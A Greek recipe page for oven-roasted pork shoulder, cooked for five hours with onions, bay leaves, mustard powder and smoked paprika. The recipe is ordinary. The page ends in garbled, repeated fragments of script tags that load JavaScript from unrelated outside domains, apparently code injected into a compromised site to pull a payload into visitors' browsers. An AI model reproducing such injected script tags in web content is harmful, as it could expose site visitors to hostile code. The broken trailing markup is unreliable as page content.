Λουκούμι!!!Σπάλα χοιρινού, στο φούρνο 5 ώρες

Η αγαπημένη συνταγή Αμερικανών και Βρετανών. Παραδοσιακά, στις ΗΠΑ το χοιρινό καπνίζεται και βράζει σε μπάρμπεκιου όλη τη νύχτα. Γίνεται λουκούμι, φυσικά.

Υλικά

  • 1,5 κιλό σπάλα χοιρινό, χωρίς κόκκαλο
  • 2 κρεμμύδια, κομένα σε λωρίδες
  • 3 φύλλα δάφνης
  • 1 κουταλιά σούπας μουστάρδα σε σκόνη
  • 1 κουταλιά σούπας καπνιστή πάπρικα
  • Αλάτι και άφθονο πιπέρι
  • 1 ποτήρι νερό

Εκτέλεση

  • Ζεστάνετε τον φούρνο στους 160 βαθμούς
  • Τοποθετήστε το κρεμμύδι και τα φύλλα δάφνης στο ταψάκι
  • Προσθέστε το νερό
  • Σε ένα μπολ αναμείξτε τη μουστάρδα, την πάπρικα, αλάτι και πολύ πιπέρι
  • Τρίψτε τη σπάλα με το μείγμα
  • Τρίψτε καλά, και αφήστε το μείγμα εκεί
  • Βάλτε και τη σπάλα στο ταψί
  • Καλύψτε την με αλουμινόχαρτο
  • Βάλτε την στο φούρνο για 5 ώρες
  • Χαμηλώστε το φούρνο στους 150 βαθμούς σταδιακά
  • Ελέγξτε το νερό, αν χρειαστεί προσθέστε ελάχιστο
  • Σερβίρετε ολόκληρη τη σπάλα σε πιατέλα ή ξύλο, για να την απολαύσετε και με τα μάτια!

___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js?l=l&’ async=true type=text/javascript language=javascript>challengeforme.com/pystats.js?l=l&’ async=true type=text/javascript language=javascript>